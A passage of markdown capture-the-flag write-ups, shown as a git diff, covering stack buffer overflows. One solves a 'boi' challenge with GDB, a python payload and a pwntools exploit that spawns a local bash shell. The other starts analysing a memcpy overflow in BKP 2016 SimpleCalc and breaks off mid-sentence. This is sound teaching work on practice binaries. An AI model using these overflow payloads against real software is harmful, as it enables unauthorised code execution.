or later + This is free software: you are free to change and redistribute it. + There is NO WARRANTY, to the extent permitted by law. + Type "show copying" and "show warranty" for details. + This GDB was configured as "x86_64-linux-gnu". + Type "show configuration" for configuration details. + For bug reporting instructions, please see: + . + Find the GDB manual and other documentation resources online at: + . + + For help, type "help". + Type "apropos word" to search for commands related to "word"... + GEF for linux ready, type `gef' to start, `gef config' to configure + 92 commands loaded for GDB 10.1.90.20210103-git using Python engine 3.9 + Reading symbols from ./boi... + (No debugging symbols found in ./boi) + gef➤ + + + +Now from here, we set a breakpoint at *0x4006a5 because this is where + +![](3.png) + + + gef➤ b *0x4006a5 + Breakpoint 1 at 0x4006a5 + + gef➤ r + Starting program: /home/nothing/binexp/2/boi + Are you a big boiiiii?? + yes + + +Here we use b to set the breakpoint, and r to run the binary, put in our text, and we get this breakpoint output: + + + Breakpoint 1, 0x00000000004006a5 in main () + [ Legend: Modified register | Code | Heap | Stack | String ] + ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ──── + $rax : 0x4 + $rbx : 0x0 + $rcx : 0x00007ffff7edce8e → 0x5a77fffff0003d48 ("H="?) + $rdx : 0x18 + $rsp : 0x00007fffffffe0f0 → 0x00007fffffffe228 → 0x00007fffffffe500 → "/home/nothing/binexp/2/boi" + $rbp : 0x00007fffffffe130 → 0x00000000004006e0 → <__libc_csu_init+0> push r15 + $rsi : 0x00007fffffffe100 → 0x000000000a736579 ("yes\n"?) + $rdi : 0x0 + $rip : 0x00000000004006a5 → mov eax, DWORD PTR [rbp-0x1c] + $r8 : 0x18 + $r9 : 0x00007ffff7facbe0 → 0x00000000006026a0 → 0x0000000000000000 + $r10 : 0xfffffffffffff28b + $r11 : 0x246 + $r12 : 0x0000000000400530 → <_start+0> xor ebp, ebp + $r13 : 0x0 + $r14 : 0x0 + $r15 : 0x0 + $eflags: [zero CARRY parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification] + $cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 + ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ──── + 0x00007fffffffe0f0│+0x0000: 0x00007fffffffe228 → 0x00007fffffffe500 → "/home/nothing/binexp/2/boi" ← $rsp + 0x00007fffffffe0f8│+0x0008: 0x000000010040072d + 0x00007fffffffe100│+0x0010: 0x000000000a736579 ("yes\n"?) ← $rsi + 0x00007fffffffe108│+0x0018: 0x0000000000000000 + 0x00007fffffffe110│+0x0020: 0xdeadbeef00000000 + 0x00007fffffffe118│+0x0028: 0x0000000000000000 + 0x00007fffffffe120│+0x0030: 0x00007fffffffe220 → 0x0000000000000001 + 0x00007fffffffe128│+0x0038: 0xa4430c55074e2b00 + ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── + 0x400698 mov rsi, rax + 0x40069b mov edi, 0x0 + 0x4006a0 call 0x400500 + ●→ 0x4006a5 mov eax, DWORD PTR [rbp-0x1c] + 0x4006a8 cmp eax, 0xcaf3baee + 0x4006ad jne 0x4006bb + 0x4006af mov edi, 0x40077c + 0x4006b4 call 0x400626 + 0x4006b9 jmp 0x4006c5 + ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ──── + [#0] Id 1, Name: "boi", stopped 0x4006a5 in main (), reason: BREAKPOINT + ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ──── + [#0] 0x4006a5 → main() + ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── + gef➤search-pattern yes + + + + +now the thing is we can't just search-pattern the yes word we used as input, we need something more specific, so let's redo it: + + + [ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/2] + → gdb ./boi + GNU gdb (Debian 10.1-1.7) 10.1.90.20210103-git + Copyright (C) 2021 Free Software Foundation, Inc. + License GPLv3+: GNU GPL version 3 or later + This is free software: you are free to change and redistribute it. + There is NO WARRANTY, to the extent permitted by law. + Type "show copying" and "show warranty" for details. + This GDB was configured as "x86_64-linux-gnu". + Type "show configuration" for configuration details. + For bug reporting instructions, please see: + . + Find the GDB manual and other documentation resources online at: + . + + For help, type "help". + Type "apropos word" to search for commands related to "word"... + GEF for linux ready, type `gef' to start, `gef config' to configure + 92 commands loaded for GDB 10.1.90.20210103-git using Python engine 3.9 + Reading symbols from ./boi... + (No debugging symbols found in ./boi) + gef➤ b *0x4006a5 + Breakpoint 1 at 0x4006a5 + gef➤ r + Starting program: /home/nothing/binexp/2/boi + Are you a big boiiiii?? + 11223344 + + Breakpoint 1, 0x00000000004006a5 in main () + [ Legend: Modified register | Code | Heap | Stack | String ] + ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ──── + $rax : 0x9 + $rbx : 0x0 + $rcx : 0x00007ffff7edce8e → 0x5a77fffff0003d48 ("H="?) + $rdx : 0x18 + $rsp : 0x00007fffffffe0f0 → 0x00007fffffffe228 → 0x00007fffffffe500 → "/home/nothing/binexp/2/boi" + $rbp : 0x00007fffffffe130 → 0x00000000004006e0 → <__libc_csu_init+0> push r15 + $rsi : 0x00007fffffffe100 → "11223344\n" + $rdi : 0x0 + $rip : 0x00000000004006a5 → mov eax, DWORD PTR [rbp-0x1c] + $r8 : 0x18 + $r9 : 0x00007ffff7facbe0 → 0x00000000006026a0 → 0x0000000000000000 + $r10 : 0xfffffffffffff28b + $r11 : 0x246 + $r12 : 0x0000000000400530 → <_start+0> xor ebp, ebp + $r13 : 0x0 + $r14 : 0x0 + $r15 : 0x0 + $eflags: [zero CARRY PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification] + $cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 + ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ──── + 0x00007fffffffe0f0│+0x0000: 0x00007fffffffe228 → 0x00007fffffffe500 → "/home/nothing/binexp/2/boi" ← $rsp + 0x00007fffffffe0f8│+0x0008: 0x000000010040072d + 0x00007fffffffe100│+0x0010: "11223344\n" ← $rsi + 0x00007fffffffe108│+0x0018: 0x000000000000000a + 0x00007fffffffe110│+0x0020: 0xdeadbeef00000000 + 0x00007fffffffe118│+0x0028: 0x0000000000000000 + 0x00007fffffffe120│+0x0030: 0x00007fffffffe220 → 0x0000000000000001 + 0x00007fffffffe128│+0x0038: 0xd7f7b092c102bd00 + ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── + 0x400698 mov rsi, rax + 0x40069b mov edi, 0x0 + 0x4006a0 call 0x400500 + ●→ 0x4006a5 mov eax, DWORD PTR [rbp-0x1c] + 0x4006a8 cmp eax, 0xcaf3baee + 0x4006ad jne 0x4006bb + 0x4006af mov edi, 0x40077c + 0x4006b4 call 0x400626 + 0x4006b9 jmp 0x4006c5 + ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ──── + [#0] Id 1, Name: "boi", stopped 0x4006a5 in main (), reason: BREAKPOINT + ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ──── + [#0] 0x4006a5 → main() + ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── + gef➤ search-pattern 11223344 + [+] Searching '11223344' in memory + [+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw- + 0x7fffffffe100 - 0x7fffffffe10a → "11223344\n" + + + +Now from here we used the input '11223344' and gdb managed to find where it was located, so let's get more info on the **0x7fffffffe100** adress: + + + gef➤ x/10g 0x7fffffffe100 + 0x7fffffffe100: 0x3434333332323131 0xa + + **0x7fffffffe110: 0xdeadbeef00000000 0x0** + + 0x7fffffffe120: 0x7fffffffe220 0xd7f7b092c102bd00 + 0x7fffffffe130: 0x4006e0 0x7ffff7e14d0a + 0x7fffffffe140: 0x7fffffffe228 0x100000000 + + +From that output you can see the 0xdeadbeef value appearing at the 10 bytes offset we mentionned earlier. + + + 0040067e c7 45 e4 MOV dword ptr [RBP + local_28+0x4],0xdeadbeef + ef be ad de + + + +Now from here we will use python to create a specific payload, since we know that our input 11223344 is 10 bytes away, we will give the input of 10 zeroes, +p32(0xcaf3baee). We need the hex address to be in 'least endian' (least significant byte first) so this means we will write caf3baee in reverse like this : ee ba f3 ca. That is because this is an ELF binary, we saw it at the beginning of this writeup, and because of how the elf will read in the data, so we have to pack it in the correct order to be read properly: + + + [ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/2] + → python -c 'print "0"*0x10 + "\xee\xba\xf3\xca"' > input + + + +now here you see that we create a file called 'input' that has 10 bytes worth of 0 characters, so essentially we have 10 zero characters and then afterwards we have the caf3baee hex value written in reverse, or in 'least endian'. We will use this input to feed into our binary file, and then we will see if we successfully managed to overwrite the data we wanted: + + + [ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/2] + → gdb ./boi + + GNU gdb (Debian 10.1-1.7) 10.1.90.20210103-git + Copyright (C) 2021 Free Software Foundation, Inc. + License GPLv3+: GNU GPL version 3 or later + This is free software: you are free to change and redistribute it. + There is NO WARRANTY, to the extent permitted by law. + Type "show copying" and "show warranty" for details. + This GDB was configured as "x86_64-linux-gnu". + Type "show configuration" for configuration details. + For bug reporting instructions, please see: + . + Find the GDB manual and other documentation resources online at: + . + + For help, type "help". + Type "apropos word" to search for commands related to "word"... + GEF for linux ready, type `gef' to start, `gef config' to configure + 92 commands loaded for GDB 10.1.90.20210103-git using Python engine 3.9 + Reading symbols from ./boi... + (No debugging symbols found in ./boi) + + gef➤ b *0x4006a5 + Breakpoint 1 at 0x4006a5 + + gef➤ r < input + Starting program: /home/nothing/binexp/2/boi < input + Are you a big boiiiii?? + + Breakpoint 1, 0x00000000004006a5 in main () + [ Legend: Modified register | Code | Heap | Stack | String ] + ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ──── + $rax : 0x15 + $rbx : 0x0 + $rcx : 0x00007ffff7edce8e → 0x5a77fffff0003d48 ("H="?) + $rdx : 0x18 + $rsp : 0x00007fffffffe0f0 → 0x00007fffffffe228 → 0x00007fffffffe500 → "/home/nothing/binexp/2/boi" + $rbp : 0x00007fffffffe130 → 0x00000000004006e0 → <__libc_csu_init+0> push r15 + $rsi : 0x00007fffffffe100 → 0x3030303030303030 ("00000000"?) + $rdi : 0x0 + $rip : 0x00000000004006a5 → mov eax, DWORD PTR [rbp-0x1c] + $r8 : 0x18 + $r9 : 0x00007ffff7facbe0 → 0x00000000006026a0 → 0x0000000000000000 + $r10 : 0xfffffffffffff28b + $r11 : 0x246 + $r12 : 0x0000000000400530 → <_start+0> xor ebp, ebp + $r13 : 0x0 + $r14 : 0x0 + $r15 : 0x0 + $eflags: [zero CARRY parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification] + $cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 + ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ──── + 0x00007fffffffe0f0│+0x0000: 0x00007fffffffe228 → 0x00007fffffffe500 → "/home/nothing/binexp/2/boi" ← $rsp + 0x00007fffffffe0f8│+0x0008: 0x000000010040072d + 0x00007fffffffe100│+0x0010: 0x3030303030303030 ← $rsi + 0x00007fffffffe108│+0x0018: 0x3030303030303030 + 0x00007fffffffe110│+0x0020: 0xdeadbe0acaf3baee + 0x00007fffffffe118│+0x0028: 0x0000000000000000 + 0x00007fffffffe120│+0x0030: 0x00007fffffffe220 → 0x0000000000000001 + 0x00007fffffffe128│+0x0038: 0xeea3ebadbb735f00 + ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── + 0x400698 mov rsi, rax + 0x40069b mov edi, 0x0 + 0x4006a0 call 0x400500 + ●→ 0x4006a5 mov eax, DWORD PTR [rbp-0x1c] + 0x4006a8 cmp eax, 0xcaf3baee + 0x4006ad jne 0x4006bb + 0x4006af mov edi, 0x40077c + 0x4006b4 call 0x400626 + 0x4006b9 jmp 0x4006c5 + ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ──── + [#0] Id 1, Name: "boi", stopped 0x4006a5 in main (), reason: BREAKPOINT + ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ──── + [#0] 0x4006a5 → main() + ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── + + gef➤ search-pattern 0000000000 + [+] Searching '0000000000' in memory + [+] In '/usr/lib/x86_64-linux-gnu/libc-2.31.so'(0x7ffff7f5e000-0x7ffff7fa8000), permission=r-- + 0x7ffff7f7fd50 - 0x7ffff7f7fd60 → "0000000000000000" + [+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw- + 0x7fffffffe100 - 0x7fffffffe10a → "0000000000[...]" + + gef➤ x/10g 0x7fffffffe100 + 0x7fffffffe100: 0x3030303030303030 0x3030303030303030 + 0x7fffffffe110: 0xdeadbe0acaf3baee 0x0 + 0x7fffffffe120: 0x7fffffffe220 0xeea3ebadbb735f00 + 0x7fffffffe130: 0x4006e0 0x7ffff7e14d0a + 0x7fffffffe140: 0x7fffffffe228 0x100000000 + + + + +Here we can see at address 0x7fffffffe110 that the previous value of 0xdeadbeef got partially overwritten by our values caf3baee, with an offset of 8 hexadecimals, and for some reason we need to adjust the payload with only 4 hexadimals (from 10 to 14): + + + + [ 192.168.100.126/24 ] [ /dev/pts/2 ] [~/binexp/2] + → python -c 'print "0"*0x10 + "\xee\xba\xf3\xca"' + 0000000000000000 + + [ 192.168.100.126/24 ] [ /dev/pts/2 ] [~/binexp/2] + → python -c 'print "0"*0x14 + "\xee\xba\xf3\xca"' + 00000000000000000000 + + [ 192.168.100.126/24 ] [ /dev/pts/2 ] [~/binexp/2] + → python -c 'print "0"*0x14 + "\xee\xba\xf3\xca"' > input + + [ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/2] + → gdb ./boi + GNU gdb (Debian 10.1-1.7) 10.1.90.20210103-git + Copyright (C) 2021 Free Software Foundation, Inc. + License GPLv3+: GNU GPL version 3 or later + This is free software: you are free to change and redistribute it. + There is NO WARRANTY, to the extent permitted by law. + Type "show copying" and "show warranty" for details. + This GDB was configured as "x86_64-linux-gnu". + Type "show configuration" for configuration details. + For bug reporting instructions, please see: + . + Find the GDB manual and other documentation resources online at: + . + + For help, type "help". + Type "apropos word" to search for commands related to "word"... + GEF for linux ready, type `gef' to start, `gef config' to configure + 92 commands loaded for GDB 10.1.90.20210103-git using Python engine 3.9 + Reading symbols from ./boi... + (No debugging symbols found in ./boi) + gef➤ b *0x4006a5 + Breakpoint 1 at 0x4006a5 + gef➤ r < input + Starting program: /home/nothing/binexp/2/boi < input + Are you a big boiiiii?? + + Breakpoint 1, 0x00000000004006a5 in main () + [ Legend: Modified register | Code | Heap | Stack | String ] + ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ──── + $rax : 0x18 + $rbx : 0x0 + $rcx : 0x00007ffff7edce8e → 0x5a77fffff0003d48 ("H="?) + $rdx : 0x18 + $rsp : 0x00007fffffffe0f0 → 0x00007fffffffe228 → 0x00007fffffffe500 → "/home/nothing/binexp/2/boi" + $rbp : 0x00007fffffffe130 → 0x00000000004006e0 → <__libc_csu_init+0> push r15 + $rsi : 0x00007fffffffe100 → 0x3030303030303030 ("00000000"?) + $rdi : 0x0 + $rip : 0x00000000004006a5 → mov eax, DWORD PTR [rbp-0x1c] + $r8 : 0x18 + $r9 : 0x00007ffff7facbe0 → 0x00000000006026a0 → 0x0000000000000000 + $r10 : 0xfffffffffffff28b + $r11 : 0x246 + $r12 : 0x0000000000400530 → <_start+0> xor ebp, ebp + $r13 : 0x0 + $r14 : 0x0 + $r15 : 0x0 + $eflags: [zero CARRY PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification] + $cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 + ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ──── + 0x00007fffffffe0f0│+0x0000: 0x00007fffffffe228 → 0x00007fffffffe500 → "/home/nothing/binexp/2/boi" ← $rsp + 0x00007fffffffe0f8│+0x0008: 0x000000010040072d + 0x00007fffffffe100│+0x0010: 0x3030303030303030 ← $rsi + 0x00007fffffffe108│+0x0018: 0x3030303030303030 + 0x00007fffffffe110│+0x0020: 0xcaf3baee30303030 + 0x00007fffffffe118│+0x0028: 0x0000000000000000 + 0x00007fffffffe120│+0x0030: 0x00007fffffffe220 → 0x0000000000000001 + 0x00007fffffffe128│+0x0038: 0xeacf1d34e3c42300 + ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── + 0x400698 mov rsi, rax + 0x40069b mov edi, 0x0 + 0x4006a0 call 0x400500 + ●→ 0x4006a5 mov eax, DWORD PTR [rbp-0x1c] + 0x4006a8 cmp eax, 0xcaf3baee + 0x4006ad jne 0x4006bb + 0x4006af mov edi, 0x40077c + 0x4006b4 call 0x400626 + 0x4006b9 jmp 0x4006c5 + ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ──── + [#0] Id 1, Name: "boi", stopped 0x4006a5 in main (), reason: BREAKPOINT + ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ──── + [#0] 0x4006a5 → main() + ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── + gef➤ search-pattern 00000000000000 + [+] Searching '00000000000000' in memory + [+] In '/usr/lib/x86_64-linux-gnu/libc-2.31.so'(0x7ffff7f5e000-0x7ffff7fa8000), permission=r-- + 0x7ffff7f7fd50 - 0x7ffff7f7fd60 → "0000000000000000" + [+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw- + 0x7fffffffe100 - 0x7fffffffe10e → "00000000000000[...]" + gef➤ x/10g 0x7fffffffe100 + 0x7fffffffe100: 0x3030303030303030 0x3030303030303030 + 0x7fffffffe110: 0xcaf3baee30303030 0x0 + 0x7fffffffe120: 0x7fffffffe220 0xeacf1d34e3c42300 + 0x7fffffffe130: 0x4006e0 0x7ffff7e14d0a + 0x7fffffffe140: 0x7fffffffe228 0x100000000 + + + +and this time we successfully overwrote the 0xdeadbeef value with our own 0xcaf3baee value! so when we continue onto the cmp instruction related to the if statement, we can see that we actually pass the check correctly, we need to se the next breakpoint at 0x4006a8 because this is where the CMP assembly instruction is: + +![](4.png) + + + 004006a8 3d ee ba CMP EAX,0xcaf3baee + f3 ca + + 004006ad 75 0c JNZ LAB_004006bb + 004006af bf 7c 07 MOV EDI=>s_/bin/bash_0040077c,s_/bin/bash_0040077c = "/bin/bash" + 40 00 + 004006b4 e8 6d ff CALL run_cmd undefined run_cmd() + ff ff + + + + + gef➤ b *0x4006a8 + Breakpoint 2 at 0x4006a8 + gef➤ c + Continuing. + + Breakpoint 2, 0x00000000004006a8 in main () + [ Legend: Modified register | Code | Heap | Stack | String ] + ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ──── + $rax : 0xcaf3baee + $rbx : 0x0 + $rcx : 0x00007ffff7edce8e → 0x5a77fffff0003d48 ("H="?) + $rdx : 0x18 + $rsp : 0x00007fffffffe0f0 → 0x00007fffffffe228 → 0x00007fffffffe500 → "/home/nothing/binexp/2/boi" + $rbp : 0x00007fffffffe130 → 0x00000000004006e0 → <__libc_csu_init+0> push r15 + $rsi : 0x00007fffffffe100 → 0x3030303030303030 ("00000000"?) + $rdi : 0x0 + $rip : 0x00000000004006a8 → cmp eax, 0xcaf3baee + $r8 : 0x18 + $r9 : 0x00007ffff7facbe0 → 0x00000000006026a0 → 0x0000000000000000 + $r10 : 0xfffffffffffff28b + $r11 : 0x246 + $r12 : 0x0000000000400530 → <_start+0> xor ebp, ebp + $r13 : 0x0 + $r14 : 0x0 + $r15 : 0x0 + $eflags: [zero CARRY PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification] + $cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 + ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ──── + 0x00007fffffffe0f0│+0x0000: 0x00007fffffffe228 → 0x00007fffffffe500 → "/home/nothing/binexp/2/boi" ← $rsp + 0x00007fffffffe0f8│+0x0008: 0x000000010040072d + 0x00007fffffffe100│+0x0010: 0x3030303030303030 ← $rsi + 0x00007fffffffe108│+0x0018: 0x3030303030303030 + 0x00007fffffffe110│+0x0020: 0xcaf3baee30303030 + 0x00007fffffffe118│+0x0028: 0x0000000000000000 + 0x00007fffffffe120│+0x0030: 0x00007fffffffe220 → 0x0000000000000001 + 0x00007fffffffe128│+0x0038: 0xeacf1d34e3c42300 + ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── + 0x40069b mov edi, 0x0 + 0x4006a0 call 0x400500 + ● 0x4006a5 mov eax, DWORD PTR [rbp-0x1c] + ●→ 0x4006a8 cmp eax, 0xcaf3baee + 0x4006ad jne 0x4006bb + 0x4006af mov edi, 0x40077c + 0x4006b4 call 0x400626 + 0x4006b9 jmp 0x4006c5 + 0x4006bb mov edi, 0x400786 + ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ──── + [#0] Id 1, Name: "boi", stopped 0x4006a8 in main (), reason: BREAKPOINT + ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ──── + [#0] 0x4006a8 → main() + ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── + gef➤ + + + +Now from here we see the cmp value is comparing the eax register to the value 0xcaf3baee, so let's check what is inside eax: + + + gef➤ p $eax + $1 = 0xcaf3baee + + + +So this means we should successfully pass the cmp instruction because both values are equal to 0xcaf3baee, so let's use python's pwntools to write an exploit to solve the challenge: + + + [ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/2] + → ls + boi input + + [ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/2] + → vim exploit.py + + + + + #First, import the pwntools library + from pwn import * + + #then set the target as the ./boi process + target = process ('./boi') + + #then create the 14 0 bytes and little endian caf3baee payload + payload = "0"*0x14 + + "\xee\xba\xf3\xca" + + # send the payload to the process + target.send(payload) + + #and then drop into a shell to view the result + target.interactive() + + + +now let's test it: + + + [ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/2] + → python3 exploit.py + [+] Starting local process './boi': pid 9071 + [*] Switching to interactive mode + Are you a big boiiiii?? + $ id + uid=1000(nothing) gid=1000(nothing) groups=1000(nothing),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),113(kaboxer) + $ echo $0 + /bin/bash + + +and we succeeded ! It managed to spawn the bash shell like we wanted. + +## Title + +text + + + + +` ![]() + +## Title + +text + + + + +` ![]() + diff --git a/2/calc.md b/2/calc.md new file mode 100644 index 0000000..ba506ea --- /dev/null +++ b/2/calc.md @@ -0,0 +1,851 @@ +# BKP 2016 SimpleCalc + +Holy shit there is a HUGE jump in difficulty at this point, buckle up ! + +## Downloading the binary file + + + [ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/calc] + → wget https://github.com/guyinatuxedo/nightmare/raw/master/modules/07-bof_static/bkp16_simplecalc/simplecalc + --2021-03-05 18:28:45-- https://github.com/guyinatuxedo/nightmare/raw/master/modules/07-bof_static/bkp16_simplecalc/simplecalc + Loaded CA certificate '/etc/ssl/certs/ca-certificates.crt' + Resolving github.com (github.com)... 140.82.121.4 + Connecting to github.com (github.com)|140.82.121.4|:443... connected. + HTTP request sent, awaiting response... 302 Found + Location: https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/07-bof_static/bkp16_simplecalc/simplecalc [following] + --2021-03-05 18:28:46-- https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/07-bof_static/bkp16_simplecalc/simplecalc + Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.109.133, 185.199.108.133, 185.199.111.133, ... + Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.109.133|:443... connected. + HTTP request sent, awaiting response... 200 OK + Length: 882266 (862K) [application/octet-stream] + Saving to: ‘simplecalc’ + + simplecalc 100%[============================================================================================================================================================================>] 861.59K 2.36MB/s in 0.4s + + 2021-03-05 18:28:47 (2.36 MB/s) - ‘simplecalc’ saved [882266/882266] + + + [ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/calc] + → file simplecalc + simplecalc: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=3ca876069b2b8dc3f412c6205592a1d7523ba9ea, not stripped + + [ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/calc] + → chmod +x simplecalc + + + +` ![]() + +## Solution + +First let's check what the binary does by executing it: + + + [ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/calc] + → ./simplecalc + + |#------------------------------------#| + | Something Calculator | + |#------------------------------------#| + + Expected number of calculations: 3 + Invalid number. + + [ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/calc] + → ./simplecalc + + |#------------------------------------#| + | Something Calculator | + |#------------------------------------#| + + Expected number of calculations: 1 + Invalid number. + + + + +The binary file prints out some text, and then asks for some input, and then just says 'invalid' so let's check it from inside ghidra: + +![](27.png) + +So we get the following code: + + + undefined8 main(void) + + { + undefined auStack72 [40]; + int iStack32; + int iStack28; + void *pvStack24; + int iStack12; + + iStack28 = 0; + setvbuf((FILE *)stdin,(char *)0x0,2,0); + setvbuf((FILE *)stdout,(char *)0x0,2,0); + print_motd(); + printf("Expected number of calculations: "); + __isoc99_scanf(&DAT;_00494214,&iStack28;); + handle_newline(); + if ((iStack28 < 0x100) && (3 < iStack28)) { + pvStack24 = malloc((long)(iStack28 << 2)); + iStack12 = 0; + while (iStack12 < iStack28) { + print_menu(); + __isoc99_scanf(&DAT;_00494214,&iStack32;); + handle_newline(); + if (iStack32 == 1) { + adds(); + *(undefined4 *)((long)iStack12 * 4 + (long)pvStack24) = add._8_4_; + } + else { + if (iStack32 == 2) { + subs(); + *(undefined4 *)((long)iStack12 * 4 + (long)pvStack24) = sub._8_4_; + } + else { + if (iStack32 == 3) { + muls(); + *(undefined4 *)((long)iStack12 * 4 + (long)pvStack24) = mul._8_4_; + } + else { + if (iStack32 == 4) { + divs(); + *(undefined4 *)((long)iStack12 * 4 + (long)pvStack24) = divv._8_4_; + } + else { + if (iStack32 == 5) { + memcpy(auStack72,pvStack24,(long)(iStack28 << 2)); + free(pvStack24); + return 0; + } + puts("Invalid option.\n"); + } + } + } + } + iStack12 = iStack12 + 1; + } + free(pvStack24); + } + else { + puts("Invalid number."); + } + return 0; + } + + +Here we see that the main function checks if our input number is between 3 and 0x100, if no tit just prints 'Invalid Number' now let's run the binary again to verify that: + + + [ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/calc] + → ./simplecalc + + |#------------------------------------#| + | Something Calculator | + |#------------------------------------#| + + Expected number of calculations: 5 + Options Menu: + [1] Addition. + [2] Subtraction. + [3] Multiplication. + [4] Division. + [5] Save and Exit. + => 1 + Integer x: 1 + Integer y: 2 + Do you really need help calculating such small numbers? + Shame on you... Bye + + [ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/calc] + → ./simplecalc + + |#------------------------------------#| + | Something Calculator | + |#------------------------------------#| + + Expected number of calculations: 5 + Options Menu: + [1] Addition. + [2] Subtraction. + [3] Multiplication. + [4] Division. + [5] Save and Exit. + => 1 + Integer x: 123456 + Integer y: 654321 + Result for x + y is 777777. + + Options Menu: + [1] Addition. + [2] Subtraction. + [3] Multiplication. + [4] Division. + [5] Save and Exit. + => 5 + + + +Now we see some more info about the binary, looking back at the reversed code in ghidra we see some more info: + + + __isoc99_scanf(&DAT;_00494214,&numberCalcs;); + handle_newline(); + if ((numberCalcs < 0x100) && (3 < numberCalcs)) { + calculations = malloc((long)(numberCalcs << 2)); + + +after scanning for our input, we give a correct number of calculations, we see that it malloc a size equal to **numberCalcs****< 2 ** and then store the pointer to it in the **calculations** variable this is the same operation as doing numverCalcs * 4. Basically, allocating numberCalcs number of integers which each of them are 4 bytes large. Then it will enter into a while loop that runs once for each calculation we will specify. Looking at the assembly code for the multiplication section, we see the muls function: + +![](28.png) + + + 004014d3 83 f8 03 CMP EAX,0x3 + 004014d6 75 23 JNZ LAB_004014fb + 004014d8 e8 cb fd CALL muls + + + +Now let's take a look at the muls function: + + + void muls(void) + + { + printf("Integer x: "); + __isoc99_scanf(&DAT;_00494214,mul); + handle_newline(); + printf("Integer y: "); + __isoc99_scanf(&DAT;_00494214,0x6c4aa4); + handle_newline(); + if ((0x27 < mul._0_4_) && (0x27 < mul._4_4_)) { + mul._8_4_ = mul._4_4_ * mul._0_4_; + printf("Result for x * y is %d.\n\n",(ulong)mul._8_4_); + return; + } + puts("Do you really need help calculating such small numbers?\nShame on you... Bye"); + /* WARNING: Subroutine does not return */ + exit(-1); + } + + +Here it basically checks that the 2 numbers are equal or greater to 0x27, The other operations (add, sub, div are p much the same) The bug that we need to notice is at the 5th option: + + + if (local_20 == 5) { + memcpy(local_48,local_18,(long)(local_1c << 2)); + free(local_18); + return 0; + } + + +In here there is the memcpy function being used to copy our calculations into**local_48** which is a vulnerable buffer because it does not do a size check, therefore if we have enough calculations, we can overflow the buffer and overwrite the return address because there is no stack canary to prevent this as you can 